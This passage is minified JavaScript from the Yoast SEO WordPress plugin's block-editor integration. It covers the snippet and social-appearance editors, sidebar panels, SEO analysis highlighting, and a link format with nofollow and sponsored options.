s=t.includes(e.name);Rl.push({name:e.name,label:e.label,value:e.placeholder,hidden:s}),e.aliases.forEach((e=>{Rl.push({name:e.name,label:e.label,value:e.placeholder,hidden:s})}))}))}return Rl},{stripHTMLTags:Tl}=De.strings,Cl=(e,t)=>{const s=(0,a.select)("yoast-seo/editor").getSnippetEditorTemplates();""===e.title&&(e.title=s.title),""===e.description&&(e.description=s.description);let r=0;return t.shortenedBaseUrl&&"string"==typeof t.shortenedBaseUrl&&(r=t.shortenedBaseUrl.length),e.url=e.url.replace(/\s+/g,"-"),"-"===e.url[e.url.length-1]&&(e.url=e.url.slice(0,-1)),"-"===e.url[r]&&(e.url=e.url.slice(0,r)+e.url.slice(r+1)),{url:e.url,title:Tl($i("data_page_title",e.title)),description:Tl($i("data_meta_desc",e.description)),filteredSEOTitle:Tl($i("data_page_title",e.filteredSEOTitle))}},Il=({isLoading:e,onLoad:s,location:r,...n})=>((0,i.useEffect)((()=>{setTimeout((()=>{e&&s()}))})),e?null:(0,t.createElement)(Ks,{icon:"eye",hasPaperStyle:n.hasPaperStyle},(0,t.createElement)(Us.SnippetEditor,{...n,descriptionPlaceholder:(0,l.__)("Please provide a meta description by editing the snippet below.","wordpress-seo"),mapEditorDataToPreview:Cl,showCloseButton:!1,idSuffix:r})));Il.propTypes={isLoading:y().bool.isRequired,onLoad:y().func.isRequired,hasPaperStyle:y().bool.isRequired,location:y().string.isRequired};const Pl=(0,Le.compose)([(0,a.withSelect)((e=>{const{getBaseUrlFromSettings:t,getDateFromSettings:s,getEditorDataImageUrl:r,getFocusKeyphrase:n,getRecommendedReplaceVars:a,getSiteIconUrlFromSettings:o,getSnippetEditorData:i,getSnippetEditorIsLoading:l,getSnippetEditorMode:c,getSnippetEditorWordsToHighlight:d,isCornerstoneContent:p,getContentLocale:u,getSiteName:m}=e("yoast-seo/editor");return{baseUrl:t(),data:i(),date:s(),faviconSrc:o(),isLoading:l(),keyword:n(),mobileImageSrc:r(),mode:c(),recommendedReplacementVariables:a(),replacementVariables:Sl(),wordsToHighlight:d(),isCornerstone:p(),locale:u(),siteName:m()}})),(0,a.withDispatch)((e=>{const{updateData:t,switchMode:s,updateAnalysisData:r,loadSnippetEditorData:n}=e("yoast-seo/editor");return{onChange:(e,r)=>{switch(e){case"mode":s(r);break;case"slug":t({slug:r});break;default:t({[e]:r})}},onChangeAnalysisData:r,onLoad:n}})),$s()])(Il),Ll=w()(Ni)`
	width: 18px;
	height: 18px;
	margin: 3px;
`,Al=()=>{const e=Fe(),s=(0,a.useSelect)((e=>e("yoast-seo/editor").getIsElementorEditor()),[]);return(0,t.createElement)(Li,{title:(0,l.__)("Search appearance","wordpress-seo"),id:"yoast-search-appearance-modal",shouldCloseOnClickOutside:!1,SuffixHeroIcon:(0,t.createElement)(Ll,{className:"yst-text-slate-500",...e})},!0===s&&(0,t.createElement)(Pl,{showCloseButton:!1,hasPaperStyle:!1}),!1===s&&(0,t.createElement)(rr,{showCloseButton:!1,hasPaperStyle:!1}))},Fl=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{d:"M15 8a3 3 0 10-2.977-2.63l-4.94 2.47a3 3 0 100 4.319l4.94 2.47a3 3 0 10.895-1.789l-4.94-2.47a3.027 3.027 0 000-.74l4.94-2.47C13.456 7.68 14.19 8 15 8z"}))})),Ol=w()(ke.Collapsible)`
	h2 > button {
		padding-left: 0;
		padding-top: 16px;

		&:hover {
			background-color: #f0f0f0;
		}
	}

	div[class^="collapsible_content"] {
		padding: 24px 0;
		margin: 0 24px;
		border-top: 1px solid rgba(0,0,0,0.2);
	}

`,Nl=e=>(0,t.createElement)(Ol,{hasPadding:!1,hasSeparator:!0,...e}),ql=w()(Fl)`
	width: 18px;
	height: 18px;
	margin: 3px;
`,Ml=e=>{const{useOpenGraphData:s,useTwitterData:r}=e;if(!s&&!r)return;const n=Fe();return(0,t.createElement)(Li
/* translators: Social media appearance refers to a preview of how a page will be represented on social media. */,{title:(0,l.__)("Social media appearance","wordpress-seo"),id:"yoast-social-appearance-modal",shouldCloseOnClickOutside:!1,SuffixHeroIcon:(0,t.createElement)(ql,{className:"yst-text-slate-500",...n})},s&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)(ha,null,(0,l.__)("Determine how your post should look on social media like Facebook, X, Instagram, WhatsApp, Threads, LinkedIn, Slack, and more.","wordpress-seo")),(0,t.createElement)(la,null),r&&(0,t.createElement)(ma,null,(0,l.__)("To customize the appearance of your post specifically for X, please fill out the 'X appearance' settings below. If you leave these settings untouched, the 'Social media appearance' settings mentioned above will also be applied for sharing on X.","wordpress-seo"))),s&&r&&(0,t.createElement)(Nl,{title:(0,l.__)("X appearance","wordpress-seo"),hasSeparator:!0,initialIsOpen:!1},(0,t.createElement)(ua,null)),!s&&r&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)(ha,null,(0,l.__)("To customize the appearance of your post specifically for X, please fill out the 'X appearance' settings below.","wordpress-seo")),(0,t.createElement)(ua,null)))};Ml.propTypes={useOpenGraphData:y().bool.isRequired,useTwitterData:y().bool.isRequired};const Dl=Ml,$l=e=>{const[s,r]=(0,i.useState)(!1),{prefixIcon:n}=e;return(0,t.createElement)("div",{className:"yoast components-panel__body "+(s?"is-opened":"")},(0,t.createElement)("h2",{className:"components-panel__body-title"},(0,t.createElement)("button",{onClick:function(){r(!s)},className:"components-button components-panel__body-toggle",type:"button",id:e.buttonId},(0,t.createElement)("span",{className:"yoast-icon-span",style:{fill:`${n&&n.color||""}`}},n&&(0,t.createElement)(ke.SvgIcon,{icon:n.icon,color:n.color,size:n.size})),(0,t.createElement)("span",{className:"yoast-title-container"},(0,t.createElement)("div",{className:"yoast-title"},e.title),(0,t.createElement)("div",{className:"yoast-subtitle"},e.subTitle)),e.hasBetaBadgeLabel&&(0,t.createElement)(ke.BetaBadge,null),(0,t.createElement)("span",{className:"yoast-chevron","aria-hidden":"true"}))),s&&e.children)},Bl=$l;function Ul({settings:e}){const s=(({webinarIntroUrl:e})=>{const{shouldShow:s}=ki(),r=(e=>{for(const t of e)if(null!=t&&t.getIsEligible())return t;return null})([{getIsEligible:()=>s,component:xi},{getIsEligible:Ti,component:()=>(0,t.createElement)(Si,{hasIcon:!1,image:null,url:e})},{getIsEligible:()=>!0,component:()=>(0,t.createElement)(zo,{hasIcon:!1})}]);return(null==r?void 0:r.component)||null})({webinarIntroUrl:(0,m.get)(window,"wpseoScriptData.webinarIntroBlockEditorUrl","https://yoa.st/webinar-intro-block-editor")});return(0,t.createElement)(i.Fragment,null,(0,t.createElement)(k.Fill,{name:"YoastSidebar"},(0,t.createElement)(Zr,{key:"warning",renderPriority:1},(0,t.createElement)(nr,null),(0,t.createElement)("div",{style:{margin:"0 16px"}},s&&(0,t.createElement)(s,null))),e.isKeywordAnalysisActive&&(0,t.createElement)(Zr,{key:"keyword-input",renderPriority:8},(0,t.createElement)(Ds.KeywordInput,{isSEMrushIntegrationActive:e.isSEMrushIntegrationActive})),e.isKeywordAnalysisActive&&(0,t.createElement)(Zr,{key:"seo",renderPriority:10},(0,t.createElement)(i.Fragment,null,(0,t.createElement)(Ds.SeoAnalysis,{shouldUpsell:e.shouldUpsell,shouldUpsellWordFormRecognition:e.isWordFormRecognitionActive}),e.shouldUpsell&&(0,t.createElement)(ja,{location:"sidebar"}))),e.isContentAnalysisActive&&(0,t.createElement)(Zr,{key:"readability",renderPriority:20},(0,t.createElement)(Ds.ReadabilityAnalysis,{shouldUpsell:e.shouldUpsell})),e.isInclusiveLanguageAnalysisActive&&(0,t.createElement)(Zr,{key:"inclusive-language-analysis",renderPriority:21},(0,t.createElement)(Ds.InclusiveLanguageAnalysis,null)),e.isKeywordAnalysisActive&&(0,t.createElement)(Zr,{key:"additional-keywords-upsell",renderPriority:22},e.shouldUpsell&&(0,t.createElement)(Va,null)),e.isKeywordAnalysisActive&&e.isWincherIntegrationActive&&(0,t.createElement)(Zr,{renderPriority:23},(0,t.createElement)(Ms,{location:"sidebar"})),e.shouldUpsell&&(0,t.createElement)(Zr,{key:"internal-linking-suggestions-upsell",renderPriority:25},(0,t.createElement)(Yr,null)),(0,t.createElement)(Zr,{key:"search-appearance",renderPriority:26},(0,t.createElement)(Al,null)),(e.useOpenGraphData||e.useTwitterData)&&(0,t.createElement)(Zr,{key:"social-appearance",renderPriority:27},(0,t.createElement)(Dl,{useOpenGraphData:e.useOpenGraphData,useTwitterData:e.useTwitterData})),e.displaySchemaSettings&&(0,t.createElement)(Zr,{key:"schema",renderPriority:28},(0,t.createElement)(Bl,{title:(0,l.__)("Schema","wordpress-seo")},(0,t.createElement)(Aa,null))),e.displayAdvancedTab&&(0,t.createElement)(Zr,{key:"advanced",renderPriority:29},(0,t.createElement)(Bl,{title:(0,l.__)("Advanced","wordpress-seo")},(0,t.createElement)(nn,null))),e.isCornerstoneActive&&(0,t.createElement)(Zr,{key:"cornerstone",renderPriority:30},(0,t.createElement)(Bs,null)),e.isInsightsEnabled&&(0,t.createElement)(Zr,{renderPriority:32},(0,t.createElement)(Oi,{location:"sidebar"}))))}$l.propTypes={title:y().string.isRequired,children:y().oneOfType([y().node,y().arrayOf(y().node)]).isRequired,prefixIcon:y().object,subTitle:y().string,hasBetaBadgeLabel:y().bool,buttonId:y().string},$l.defaultProps={prefixIcon:null,subTitle:"",hasBetaBadgeLabel:!1,buttonId:null},Ul.propTypes={settings:y().object.isRequired};const Wl=(0,a.withSelect)(((e,t)=>{const{getPreferences:s}=e("yoast-seo/editor");return{settings:s(),store:t.store}}))(Ul);function jl(e){const{hasTrackedKeyphrases:s,trackAll:r}=e;return(0,t.createElement)(i.Fragment,null,(0,t.createElement)(ke.FieldGroup,{label:(0,l.__)("SEO performance","wordpress-seo"),linkTo:wpseoAdminL10n["shortlinks.wincher.seo_performance"]
/* translators: Hidden accessibility text. */,linkText:(0,l.__)("Learn more about the SEO performance feature.","wordpress-seo"),wrapperClassName:"yoast-field-group yoast-wincher-post-publish"}),(0,t.createElement)(Zt,null),s&&(0,t.createElement)("p",null,(0,l.__)("Tracking has already been enabled for one or more keyphrases of this page. Clicking the button below will enable tracking for all of its keyphrases.","wordpress-seo")),(0,t.createElement)("div",{className:"yoast"},(0,t.createElement)(ke.NewButton,{variant:"secondary",small:!0,onClick:r},(0,l.__)("Track all keyphrases on this page","wordpress-seo"))),(0,t.createElement)(Ms,{location:"postpublish"}))}jl.propTypes={trackAll:y().func,hasTrackedKeyphrases:y().bool},jl.defaultProps={trackAll:()=>{},hasTrackedKeyphrases:!1};const Kl=(0,Le.compose)([(0,a.withSelect)((e=>{const{getWincherTrackedKeyphrases:t,hasWincherTrackedKeyphrases:s}=e("yoast-seo/editor");return{trackedKeyphrases:t(),hasTrackedKeyphrases:s()}})),(0,a.withDispatch)((e=>{const{setWincherOpenModal:t,setWincherTrackAllKeyphrases:s}=e("yoast-seo/editor");return{trackAll:()=>{s(!0),t("postpublish")}}}))])(jl);window.wp.annotations;const Hl=/(<([a-z]|\/)[^<>]+>)/gi,{htmlEntitiesRegex:Vl}=xe.helpers.htmlEntities,zl=e=>{let t=0;return(0,m.forEachRight)(e,(e=>{const[s]=e;let r=s.length;/^<\/?br/.test(s)&&(r-=1),t+=r})),t},Yl="<yoastmark class='yoast-text-mark'>",Gl="</yoastmark>",Zl='<yoastmark class="yoast-text-mark">';function Xl(e,t,s,r,n){const a=r.clientId,o=(0,d.create)({html:e,multilineTag:s.multilineTag,multilineWrapperTag:s.multilineWrapperTag}).text;return(0,m.flatMap)(n,(s=>{let n;return n=s.hasBlockPosition&&s.hasBlockPosition()?function(e,t,s,r,n){if(t===e.getBlockClientId()){let t=e.getBlockPositionStart(),a=e.getBlockPositionEnd();if(e.isMarkForFirstBlockSection()){const e=((e,t,s)=>{const r="yoast/faq-block"===s?'<strong class="schema-faq-question">':'<strong class="schema-how-to-step-name">';return{blockStartOffset:e-=r.length,blockEndOffset:t-=r.length}})(t,a,s);t=e.blockStartOffset,a=e.blockEndOffset}if(r.slice(t,a)===n.slice(t,a))return[{startOffset:t,endOffset:a}];const o=((e,t,s)=>{const r=s.slice(0,e),n=s.slice(0,t),a=((e,t,s,r)=>{const n=[...e.matchAll(Hl)];s-=zl(n);const a=[...t.matchAll(Hl)];return{blockStartOffset:s,blockEndOffset:r-=zl(a)}})(r,n,e,t),o=((e,t,s,r)=>{let n=[...e.matchAll(Vl)];return(0,m.forEachRight)(n,(e=>{const[,t]=e;s-=t.length})),n=[...t.matchAll(Vl)],(0,m.forEachRight)(n,(e=>{const[,t]=e;r-=t.length})),{blockStartOffset:s,blockEndOffset:r}})(r,n,e=a.blockStartOffset,t=a.blockEndOffset);return{blockStartOffset:e=o.blockStartOffset,blockEndOffset:t=o.blockEndOffset}})(t,a,r);return[{startOffset:o.blockStartOffset,endOffset:o.blockEndOffset}]}return[]}(s,a,r.name,e,o):function(e,t){const s=t.getOriginal().replace(/(<([^>]+)>)/gi,""),r=t.getMarked().replace(/(<(?!\/?yoastmark)[^>]+>)/gi,""),n=function(e,t,s=!0){const r=[];if(0===e.length)return r;let n,a=0;for(s||(t=t.toLowerCase(),e=e.toLowerCase());(n=e.indexOf(t,a))>-1;)r.push(n),a=n+t.length;return r}(e,s);if(0===n.length)return[];const a=function(e){let t=e.indexOf(Yl);const s=t>=0;s||(t=e.indexOf(Zl));let r=null;const n=[];for(;t>=0;){if(r=(e=s?e.replace(Yl,""):e.replace(Zl,"")).indexOf(Gl),r<t)return[];e=e.replace(Gl,""),n.push({startOffset:t,endOffset:r}),t=s?e.indexOf(Yl):e.indexOf(Zl),r=null}return n}(r),o=[];return a.forEach((e=>{n.forEach((r=>{const n=r+e.startOffset;let a=r+e.endOffset;0===e.startOffset&&e.endOffset===t.getOriginal().length&&(a=r+s.length),o.push({startOffset:n,endOffset:a})}))})),o}(o,s),n?n.map((e=>({...e,block:a,richTextIdentifier:t}))):[]}))}const Ql=e=>e[0].toUpperCase()+e.slice(1),Jl=(e,t,s,r,n)=>(e=e.map((e=>{const a=`${e.id}-${n[0]}`,o=`${e.id}-${n[1]}`,i=Ql(n[0]),l=Ql(n[1]),c=e[`json${i}`],d=e[`json${l}`],{marksForFirstSection:p,marksForSecondSection:u}=((e,t)=>({marksForFirstSection:e.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?e.getBlockAttributeId()===t.id&&e.isMarkForFirstBlockSection():e)),marksForSecondSection:e.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?e.getBlockAttributeId()===t.id&&!e.isMarkForFirstBlockSection():e))}))(t,e),m=Xl(c,a,s,r,p),h=Xl(d,o,s,r,u);return m.concat(h)})),(0,m.flattenDeep)(e)),ec="yoast";let tc=[];const sc={"core/paragraph":[{key:"content"}],"core/list":[{key:"values",multilineTag:"li",multilineWrapperTag:["ul","ol"]}],"core/list-item":[{key:"content"}],"core/heading":[{key:"content"}],"core/audio":[{key:"caption"}],"core/embed":[{key:"caption"}],"core/gallery":[{key:"caption"}],"core/image":[{key:"caption"}],"core/table":[{key:"caption"}],"core/video":[{key:"caption"}],"yoast/faq-block":[{key:"questions"}],"yoast/how-to-block":[{key:"steps"},{key:"jsonDescription"}]};function rc(){const e=tc.shift();e&&((0,a.dispatch)("core/annotations").__experimentalAddAnnotation(e),nc())}function nc(){(0,m.isFunction)(window.requestIdleCallback)?window.requestIdleCallback(rc,{timeout:1e3}):setTimeout(rc,150)}function ac(){const e=(0,a.select)("core/block-editor").getSelectedBlock(),t=(0,a.select)("yoast-seo/editor").getActiveMarker();if(!e||!t)return;var s;s=e.clientId,(0,a.select)("core/annotations").__experimentalGetAnnotations().filter((e=>e.blockClientId===s&&e.source===ec)).forEach((e=>{(0,a.dispatch)("core/annotations").__experimentalRemoveAnnotation(e.id)}));const r=(0,a.select)("yoast-seo/editor").getResultById(t);if(void 0===r)return;const n=r.marks;var o;o=((e,t)=>{return(0,m.flatMap)((s=e.name,sc.hasOwnProperty(s)?sc[s]:[]),(s=>"yoast/faq-block"===e.name?((e,t,s)=>{const r=t.attributes[e.key];return 0===r.length?[]:Jl(r,s,e,t,["question","answer"])})(s,e,t):"yoast/how-to-block"===e.name?((e,t,s)=>{const r=t.attributes[e.key];if(r&&0===r.length)return[];const n=[];return"steps"===e.key&&n.push(Jl(r,s,e,t,["name","text"])),"jsonDescription"===e.key&&(s=s.filter((e=>e.hasBlockPosition&&e.hasBlockPosition()?!e.getBlockAttributeId():e)),n.push(Xl(r,"description",e,t,s))),(0,m.flattenDeep)(n)})(s,e,t):function(e,t,s){const r=e.key,n=((e,t)=>{const s=e.attributes[t];return"string"==typeof s?s:(s||"").toString()})(t,r);return Xl(n,r,e,t,s)}(s,e,t)));var s})(e,n),tc=o.map((e=>({blockClientId:e.block,source:ec,richTextIdentifier:e.richTextIdentifier,range:{start:e.startOffset,end:e.endOffset}}))),nc()}const oc=window.wp.htmlEntities,ic=(0,De.makeOutboundLink)(w().a`
	display: inline-block;
	position: relative;
	outline: none;
	text-decoration: none;
	border-radius: 100%;
	width: 24px;
	height: 24px;
	margin: -4px 0;
	vertical-align: middle;

	color: ${_e.colors.$color_help_text};
	
	&:hover,
	&:focus {
		color: ${_e.colors.$color_snippet_focus};	
	}
	
	// Overwrite the default blue active color for links.
	&:active {
		color: ${_e.colors.$color_help_text};	
	}

	&::before {
		position: absolute;
		top: 0;
		left: 0;
		padding: 2px;
		content: "\f223";
	}
`);function lc({isActive:e,activeAttributes:s,addingLink:r,value:n,onChange:a,speak:o,stopAddingLink:c,contentRef:p}){const u=(0,i.useMemo)(m.uniqueId,[r]),[h,g]=(0,i.useState)(),y=(0,d.useAnchor)({editableContentElement:p.current,settings:{...uc,isActive:e}}),f={url:s.url,type:s.type,id:s.id,opensInNewTab:"_blank"===s.target,noFollow:s.rel&&s.rel.split(" ").includes("nofollow"),sponsored:s.rel&&s.rel.split(" ").includes("sponsored"),...h},w=e=>f.url===e.url&&f.opensInNewTab!==e.opensInNewTab||f.noFollow!==e.noFollow||f.sponsored!==e.sponsored,b=e=>{if("number"==typeof e||"string"==typeof e)return String(e)},E=(0,i.useCallback)((t=>{t={...h,...t};const s=w(f);if((e=>w(e)&&!0===e.sponsored&&!0!==f.Sponsored)(t)&&(t.noFollow=!0),(e=>w(e)&&!1===e.noFollow&&!1!==f.noFollow)(t)&&(t.sponsored=!1),(e=>w(e)&&!e.url)(t))return void g(t);const r=(0,xr.prependHTTP)(t.url),i=function({url:e,opensInNewWindow:t,noFollow:s,sponsored:r}){const n={type:"core/link",attributes:{url:e}};let a=[];return t&&(n.attributes.target="_blank",a.push("noreferrer noopener")),r&&(a.push("sponsored"),a.push("nofollow")),s&&a.push("nofollow"),a.length>0&&(a=(0,m.uniq)(a),n.attributes.rel=a.join(" ")),n}({url:r,type:t.type,id:b(t.id),opensInNewWindow:t.opensInNewTab,noFollow:t.noFollow,sponsored:t.sponsored});if((0,d.isCollapsed)(n)&&!e){const e=((e,t)=>e.title?e.title:t)(t,r),s=(0,d.applyFormat)((0,d.create)({text:e}),i,0,e.length);a((0,d.insert)(n,s))}else{const e=(0,d.applyFormat)(n,i);e.start=e.end,e.activeFormats=[],a(e)}s||c(),(t=>{!function(e){if(!e)return!1;const t=e.trim();if(!t)return!1;if(/^\S+:/.test(t)){const e=(0,xr.getProtocol)(t);if(!(0,xr.isValidProtocol)(e))return!1;if((0,m.startsWith)(e,"http")&&!/^https?:\/\/[^\/\s]/i.test(t))return!1;const s=(0,xr.getAuthority)(t);if(!(0,xr.isValidAuthority)(s))return!1;const r=(0,xr.getPath)(t);if(r&&!(0,xr.isValidPath)(r))return!1;const n=(0,xr.getQueryString)(t);if(n&&!(0,xr.isValidQueryString)(n))return!1;const a=(0,xr.getFragment)(t);if(a&&!(0,xr.isValidFragment)(a))return!1}return!((0,m.startsWith)(t,"#")&&!(0,xr.isValidFragment)(t))}(t)?o((0,l.__)("Warning: the link has been inserted but may have errors. Please test it.","wordpress-seo"),"assertive"):o(e?(0,l.__)("Link edited.","wordpress-seo"):(0,l.__)("Link inserted.","wordpress-seo"),"assertive")})(r)}),[]),v=(0,t.createElement)(ic,{href:window.wpseoAdminL10n["shortlinks.nofollow_sponsored"],className:"dashicons"},(0,t.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,l.__)("Learn more about marking a link as nofollow or sponsored.","wordpress-seo"))),_=vr((0,l.sprintf)((0,l.__)("Search engines should ignore this link (mark as %1$snofollow%2$s)%3$s","wordpress-seo"),"<code>","</code>","<helplink />"),{code:(0,t.createElement)("code",null),helplink:v}),x=vr((0,l.sprintf)((0,l.__)("This is a sponsored link or advert (mark as %1$ssponsored%2$s)%3$s","wordpress-seo"),"<code>","</code>","<helplink />"),{code:(0,t.createElement)("code",null),helplink:v}),R=[{id:"opensInNewTab",title:(0,l.__)("Open in new tab","wordpress-seo")},{id:"noFollow",title:_},{id:"sponsored",title:x}],{__experimentalLinkControl:S}=window.wp.blockEditor;return(0,t.createElement)(k.Popover,{key:u,anchor:y,focusOnMount:!!r&&"firstElement",onClose:c,position:"bottom center",placement:"bottom",shift:!0},(0,t.createElement)(S,{value:f,onChange:E,forceIsEditingLink:r,settings:R}))}lc.propTypes={isActive:y().bool,activeAttributes:y().object,addingLink:y().bool,value:y().object,onChange:y().func,speak:y().func.isRequired,stopAddingLink:y().func.isRequired,contentRef:y().object};const cc=(0,k.withSpokenMessages)(lc),dc="core/link",pc=(0,l.__)("Link","wordpress-seo"),uc={name:dc,title:pc,tagName:"a",className:null,attributes:{url:"href",target:"target",rel:"rel"},replaces:"core/link",__unstablePasteRule(e,{html:t,plainText:s}){if((0,d.isCollapsed)(e))return e;const r=(t||s).replace(/<[^>]+>/g,"").trim();return(0,xr.isURL)(r)?(window.console.log("Created link:\n\n",r),(0,d.applyFormat)(e,{type:dc,attributes:{url:(0,oc.decodeEntities)(r)}})):e},edit:(0,k.withSpokenMessages)(class extends i.Component{constructor(){super(...arguments),this.addLink=this.addLink.bind(this),this.stopAddingLink=this.stopAddingLink.bind(this),this.onRemoveFormat=this.onRemoveFormat.bind(this),this.state={addingLink:!1}}addLink(){const{value:e,onChange:t}=this.props,s=(0,d.getTextContent)((0,d.slice)(e));s&&(0,xr.isURL)(s)?t((0,d.applyFormat)(e,{type:dc,attributes:{url:s}})):s&&(0,xr.isEmail)(s)?t((0,d.applyFormat)(e,{type:dc,attributes:{url:`mailto:${s}`}})):this.setState({addingLink:!0})}stopAddingLink(){this.setState({addingLink:!1}),this.props.onFocus()}onRemoveFormat(){const{value:e,onChange:t,speak:s}=this.props;t((0,d.removeFormat)(e,dc)),s((0,l.__)("Link removed.","wordpress-seo"),"assertive")}render(){const{isActive:e,activeAttributes:s,value:r,onChange:n}=this.props,{RichTextToolbarButton:a,RichTextShortcut:o}=window.wp.blockEditor;return(0,t.createElement)(i.Fragment,null,(0,t.createElement)(o,{type:"primary",character:"k",onUse:this.addLink}),(0,t.createElement)(o,{type:"primaryShift",character:"k",onUse:this.onRemoveFormat}),e&&(0,t.createElement)(a,{name:"link",icon:"editor-unlink",title:(0,l.__)("Unlink","wordpress-seo"),onClick:this.onRemoveFormat,isActive:e,shortcutType:"primaryShift",shortcutCharacter:"k"}),!e&&(0,t.createElement)(a,{name:"link",icon:"admin-links",title:pc,onClick:this.addLink,isActive:e,shortcutType:"primary",shortcutCharacter:"k"}),(this.state.addingLink||e)&&(0,t.createElement)(cc,{addingLink:this.state.addingLink,stopAddingLink:this.stopAddingLink,isActive:e,activeAttributes:s,value:r,onChange:n,contentRef:this.props.contentRef}))}})};function mc(){const e=h();return(0,m.get)(e,"contentLocale","en_US")}const{updateReplacementVariable:hc,updateData:gc,hideReplacementVariables:yc,setContentImage:fc,updateSettings:wc,setEditorDataContent:bc,setEditorDataTitle:Ec,setEditorDataExcerpt:vc,setEditorDataImageUrl:kc,setEditorDataSlug:_c}=u.actions,xc=s.g.jQuery;window.yoast=window.yoast||{},window.yoast.initEditorIntegration=function(e){(function(e){const s=h(),r=s.isPremium?"Yoast SEO Premium":"Yoast SEO",d=(0,t.createElement)(v,null);(0,n.updateCategory)("yoast-structured-data-blocks",{icon:d}),(0,n.updateCategory)("yoast-internal-linking-blocks",{icon:d});const u={isRtl:s.isRtl},m=e.getState().preferences,g=m.isKeywordAnalysisActive||m.isContentAnalysisActive,y=m.isKeywordAnalysisActive&&m.isWincherIntegrationActive;!function(){var e,t,s;const r="yoast-seo/document-panel";var n,o,i,l;Boolean(null===(e=(0,a.dispatch)("core/editor"))||void 0===e?void 0:e.toggleEditorPanelOpened)?((null===(t=(0,a.select)("core/preferences"))||void 0===t?void 0:t.get("core","openPanels"))||(null===(s=(0,a.select)("core/preferences"))||void 0===s?void 0:s.get("core/edit-post","openPanels"))).includes(r)||null===(n=(0,a.dispatch)("core/editor"))||void 0===n||n.toggleEditorPanelOpened(r):null!==(o=(0,a.select)("core/preferences"))&&void 0!==o&&null!==(i=o.get("core/edit-post","openPanels"))&&void 0!==i&&i.includes(r)||null===(l=(0,a.dispatch)("core/edit-post"))||void 0===l||l.toggleEditorPanelOpened(r)}();const f={locationContext:"block-sidebar"},w={locationContext:"block-metabox"};(0,c.registerPlugin)("yoast-seo",{render:()=>(0,t.createElement)(i.Fragment,null,(0,t.createElement)(o.PluginSidebarMoreMenuItem,{target:"seo-sidebar",icon:(0,t.createElement)(ci,null)},r),(0,t.createElement)(o.PluginSidebar,{name:"seo-sidebar",title:r},(0,t.createElement)(p.Root,{context:f},(0,t.createElement)(ti,{store:e,theme:u}))),(0,t.createElement)(i.Fragment,null,(0,t.createElement)(Wl,{store:e,theme:u}),(0,t.createElement)(p.Root,{context:w},(0,t.createElement)(Jo,{target:"wpseo-metabox-root",store:e,theme:u}))),g&&(0,t.createElement)(o.PluginPrePublishPanel,{className:"yoast-seo-sidebar-panel",title:(0,l.__)("Yoast SEO","wordpress-seo"),initialOpen:!0,icon:(0,t.createElement)(i.Fragment,null)},(0,t.createElement)(bi,null)),(0,t.createElement)(o.PluginPostPublishPanel,{className:"yoast-seo-sidebar-panel",title:(0,l.__)("Yoast SEO","wordpress-seo"),initialOpen:!0,icon:(0,t.createElement)(i.Fragment,null)},(0,t.createElement)(fi,null),y&&(0,t.createElement)(Kl,null)),g&&(0,t.createElement)(o.PluginDocumentSettingPanel,{name:"document-panel",className:"yoast-seo-sidebar-panel",title:(0,l.__)("Yoast SEO","wordpress-seo"),icon:(0,t.createElement)(i.Fragment,null)},(0,t.createElement)(li,null))),icon:(0,t.createElement)(ci,null)})})(e),function(){if("function"==typeof(0,m.get)(window,"wp.blockEditor.__experimentalLinkControl")){const e=(0,a.select)("core/rich-text").getFormatType("core/unknown");void 0!==e&&(0,a.dispatch)("core/rich-text").removeFormatTypes("core/unknown"),[uc].forEach((({name:e,replaces:t,...s})=>{t&&(0,a.dispatch)("core/rich-text").removeFormatTypes(t),e&&(0,d.registerFormatType)(e,s)})),void 0!==e&&(0,d.registerFormatType)("core/unknown",e)}else console.warn((0,l.__)("Marking links with nofollow/sponsored has been disabled for WordPress installs < 5.4.","wordpress-seo")+" "+(0,l.sprintf)(
// translators: %1$s expands to Yoast SEO.
(0,l.__)("Please upgrade your WordPress version or install the Gutenberg plugin to get this %1$s feature.","wordpress-seo"),"Yoast SEO"))}(),function(e){(0,a.select)("core/block-editor")&&(0,m.isFunction)((0,a.select)("core/block-editor").getBlocks)&&(0,a.select)("core/annotations")&&(0,m.isFunction)((0,a.dispatch)("core/annotations").__experimentalAddAnnotation)&&e.dispatch(u.actions.setMarkerStatus("enabled"))}(e)},window.yoast.EditorData=class{constructor(e,t){this._refresh=e,this._store=t,this._data={},this.getPostAttribute=this.getPostAttribute.bind(this),this.refreshYoastSEO=this.refreshYoastSEO.bind(this)}initialize(e,t=[]){var s,r;this._data=this.getInitialData(e),s=this._data,r=this._store,(0,m.forEach)(s,((e,t)=>{Zs.includes(t)||r.dispatch(zs(t,e))})),this._store.dispatch(yc(t)),this.subscribeToGutenberg(),this.subscribeToYoastSEO()}getInitialData(e){const t=this.collectGutenbergData();return e=function(e,t){if(!e.custom_taxonomies)return e;const s={};return(0,m.forEach)(e.custom_taxonomies,((e,t)=>{const{name:r,label:n,descriptionName:a,descriptionLabel:o}=function(e){const t=Xs(e);return{name:"ct_"+t,label:Ys(e+" (custom taxonomy)"),descriptionName:"ct_desc_"+t,descriptionLabel:Ys(e+" description (custom taxonomy)")}}(t),i="string"==typeof e.name?(0,De.decodeHTML)(e.name):e.name,l="string"==typeof e.description?(0,De.decodeHTML)(e.description):e.description;s[r]={value:i,label:n},s[a]={value:l,label:o}})),t.dispatch(function(e){return{type:"SNIPPET_EDITOR_UPDATE_REPLACEMENT_VARIABLES_BATCH",updatedVariables:e}}(s)),(0,m.omit)({...e},"custom_taxonomies")}(e=function(e,t){return e.custom_fields?((0,m.forEach)(e.custom_fields,((e,s)=>{const{name:r,label:n}=function(e){return{name:"cf_"+Xs(e),label:Ys(e+" (custom field)")}}(s);t.dispatch(zs(r,e,n))})),(0,m.omit)({...e},"custom_fields")):e}(e,this._store),this._store),{...e,...t}}setRefresh(e){this._refresh=e}isShallowEqual(e,t){if(Object.keys(e).length!==Object.keys(t).length)return!1;for(const s in e)if(e.hasOwnProperty(s)&&(!(s in t)||e[s]!==t[s]))return!1;return!0}getMediaById(e){return this._coreDataSelect||(this._coreDataSelect=(0,a.select)("core")),this._coreDataSelect.getMedia(e)}getPostAttribute(e){return 